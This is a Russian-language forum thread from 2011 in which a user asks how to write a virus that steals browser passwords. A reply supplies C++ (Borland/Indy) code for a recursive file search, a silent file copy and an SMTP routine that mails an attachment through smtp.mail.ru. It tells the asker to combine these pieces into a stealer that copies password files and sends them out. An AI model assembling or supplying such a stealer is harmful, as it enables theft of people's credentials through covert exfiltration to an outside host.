как написать вирусы которые тащить паролей от браузера
Вирусы На Dev C++
Сообщений 1 страница 4 из 4
Поделиться22011-07-23 21:47:37
ZZZ Сегодня напишу статью на эту тему но не на С++!! зачем именно С++? чем не устраивает бат? на форуме есть это тема! Статья
Поделиться32011-07-24 10:03:49
Lyubitel
проста интерсно
Поделиться42011-07-24 10:56:53
С++ не увлекаюсь,мало того литературы толком не читал,так пару раз когда нужно было,вообщем в любой книжке читаешь использование API,далее берёшь справочник по API функциям для c++ ну в принципе там везде можно подправлять их под любой язык(среду) программирования,вообщем тебе нужно будет воспользоваться функциями CopyFile(так как это во первых проще,а во вторых практически всегда известно точное место положение файлов) и отправкой всех этих файлов на почту,или FTP,на API просто получится вес меньше чем на самом C++.Но в принципе можешь использовать чистый C++ как тебе захочется.Или же можешь писать по поиску файлов,то есть сначала искать файлы потом копировать и удалять,по этому поводу для тебя может пригодится вот это:
Функция поиска файлов по маске в заданной и вложенных папках.
BOOL SearchFiles(
LPCTSTR lpszFileName, // Директория и маска файлов для поиска
LPSEARCHFUNC lpSearchFunc, // Функция, вызываемая для всех найденных файлов.
BOOL bInnerFolders /* = TRUE */) // TRUE - поиск в подпапках.
// FALSE - поиск только в заданной папке
typedef void (*LPSEARCHFUNC)(LPCTSTR lpszFileName);
BOOL SearchFiles(LPCTSTR lpszFileName, LPSEARCHFUNC lpSearchFunc, BOOL bInnerFolders = TRUE)
{
LPTSTR part;
char tmp[MAX_PATH]; // временный массив
char name[MAX_PATH];
HANDLE hSearch = NULL;
WIN32_FIND_DATA wfd;
memset(&wfd, 0, sizeof(WIN32_FIND_DATA));
// сначало поиск внутри вложенных папках ...
if(bInnerFolders)
{
if(GetFullPathName(lpszFileName, MAX_PATH, tmp, &part) == 0) return FALSE;
strcpy(name, part);
strcpy(part, "*.*");
// если папки существуют, то делаем поиск
wfd.dwFileAttributes = FILE_ATTRIBUTE_DIRECTORY;
if (!((hSearch = FindFirstFile(tmp, &wfd)) == INVALID_HANDLE_VALUE))
do
{
// в каждой папке есть две папки с именами "." и ".."
// и эти папки мы не трогаем
// пропускаем папки "." и ".."
if (!strncmp(wfd.cFileName, ".", 1) || !strncmp(wfd.cFileName, "..", 2))
continue;
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) // если мы нашли папку
{
char next[MAX_PATH];
if(GetFullPathName(lpszFileName, MAX_PATH, next, &part) == 0) return FALSE;
strcpy(part, wfd.cFileName);
strcat(next, "\\");
strcat(next, name);
SearchFiles(next, lpSearchFunc, TRUE);
}
}
while (FindNextFile(hSearch, &wfd)); // ищем следующий файл
FindClose (hSearch); // заканчиваем поиск
}
if ((hSearch = FindFirstFile(lpszFileName, &wfd)) == INVALID_HANDLE_VALUE)
return TRUE; // в противном случае выходим
do
if (!(wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) // если мы нашли файл
{
char file[MAX_PATH];
if(GetFullPathName(lpszFileName, MAX_PATH, file, &part) == 0) return FALSE;
strcpy(part, wfd.cFileName);
lpSearchFunc(file);
}
while (FindNextFile(hSearch, &wfd)); // ищем следующий файл
FindClose (hSearch); // заканчиваем поиск
return TRUE;
}
Пример 1.
Поиск всех файлов с расширением txt в папке "C:\Dir1" и вложенных в нее папках.
SearchFiles("C:\Dir1\*.txt", DoSomething, TRUE);
Пример 2.
Поиск всех файлов с именем name и любым расширением только в папке "C:\Dir1"
SearchFiles("C:\Dir1\name.*", DoSomething, FALSE);
Пример функции DoSomething
void DoSomething(LPCTSTR lpszFileName)
{
MessageBox(NULL, lpszFileName, "Find File", MB_OK | MB_APPLMODAL);
}или же
Поиск файлов в каталоге и его подкаталогах
// Для поиска файлов в каталоге и его подкаталогах напишите следующий код:
void ListFiles(AnsiString path, TStrings* List)
{
// Эта процедура выводит список файлов и вызывает
// саму себя для всех каталогов
TSearchRec sr;
if (FindFirst(path+"*.*", faAnyFile, sr) == 0)
{
do
{
if (sr.Attr & faDirectory)
{
if (sr.Name!=".")
if (sr.Name!="..")
{
ListFiles(path+sr.Name+"\\",List);// Рекурсивный вызов
}
}
else
{
AnsiString Ext=ExtractFileExt(sr.Name).UpperCase();
if (Ext==".CPP")
List->Add(path+sr.Name);
}
}
while (FindNext(sr) == 0);
FindClose(sr);
}
Application->ProcessMessages();
}
void __fastcall TForm1::Button1Click(TObject *Sender)
{
ListFiles("c:\\",Memo1->Lines);
}копирование
// Для того чтобы скопировать файлы напишите следующий код:
int MoveFiles( AnsiString slSourceDir, AnsiString slTargetDir, bool toCopy = true )
{
SHFILEOPSTRUCT sh;
sh.fFlags = FOF_NOCONFIRMATION | FOF_SILENT | FOF_FILESONLY;
sh.wFunc = toCopy ? FO_COPY : FO_MOVE;
sh.pFrom = slSourceDir.c_str();
sh.pTo = slTargetDir.c_str();
sh.hNameMappings = NULL;
sh.lpszProgressTitle = NULL;
return SHFileOperation ( &sh );
}
void __fastcall TForm1::Button1Click(TObject *Sender)
{
//copy all from program files
if(!MoveFiles("c:\\program files\\*.*", "c:\\temp"))
ShowMessage("Ok");
else ShowMessage("No");
}
// В функции MoveFiles первый параметр что копировать,
// второй куда копироватьи вот тебе отправка
void __fastcall TForm1::Button1Click(TObject *Sender)
{
TIdSMTP *smtp = new TIdSMTP(Form1); // SMTP
smtp->UserId = "От кого(мыло)";
smtp->Password = "********(пароль)";
smtp->Host = "smtp.mail.ru";
smtp->Port = 25;
smtp->AuthenticationType = atLogin;
smtp->Connect();
TIdMessage *msg = new TIdMessage(Form1); // MSG
TIdAttachment *file = new TIdAttachment(msg->MessageParts, "C:\\exit.bmp"); // ATTACH
if (smtp->Authenticate())
{
msg->Subject = "Тема";
msg->MessageParts->Add();
msg->MessageParts->Items[0] = file;
msg->Body->Text = "Текст Сообщения";
msg->From->Text = "от кого";
msg->Recipients->EMailAddresses = "Кому";
msg->Priority = TIdMessagePriority(mpHigh);
try
{
smtp->Send(msg);
}
catch (Exception &exception)
{
//
}
smtp->Disconnect();
}
delete file; // DELETE ATTACH
delete msg; // DELETE MSG
delete smtp; // DELETE SMTP
}Всё это тебе надо собрать в кучу,удалить лишние и добавить то что тебе нужно,вообщем как то так....
Сам не знаю C но если что могу попробовать написать подобный вирус именно на C++ (Borland иного компиля пока нету),но не много позже.
Хотя я так думаю тебе будет лучше самому попробовать всё это собрать в кучу.





